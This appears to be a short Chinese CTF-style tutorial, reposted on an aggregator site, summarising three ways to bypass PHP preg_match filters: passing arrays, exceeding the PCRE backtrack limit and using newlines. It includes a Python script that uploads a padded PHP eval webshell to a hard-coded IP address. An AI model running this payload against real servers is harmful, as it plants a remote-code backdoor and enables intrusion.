preg_match绕过总结

Posted 20175211lyz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了preg_match绕过总结相关的知识,希望对你有一定的参考价值。

preg_match绕过总结

什么是preg_match

技术图片

技术图片

绕过方法

1、数组绕过

preg_match只能处理字符串,当传入的subject是数组时会返回false

2、PCRE回溯次数限制

PHP利用PCRE回溯次数限制绕过某些安全限制

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false

3、换行

preg_match(‘/^.*$/‘,subject),preg_match只会匹配第一行,如

if (preg_match('/^.*(flag).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
}

只需要

$json="
flag"

以上是关于preg_match绕过总结的主要内容,如果未能解决你的问题,请参考以下文章

[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过

XCTF-攻防世界CTF平台-Web类——18favorite_number(命令注入)(php5.5.9整数溢出preg_match正则表达式绕过)

XCTF-攻防世界CTF平台-Web类——18favorite_number(命令注入)(php5.5.9整数溢出preg_match正则表达式绕过)

CTF中常用PHP特性总结

PHP常用代码片段

BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??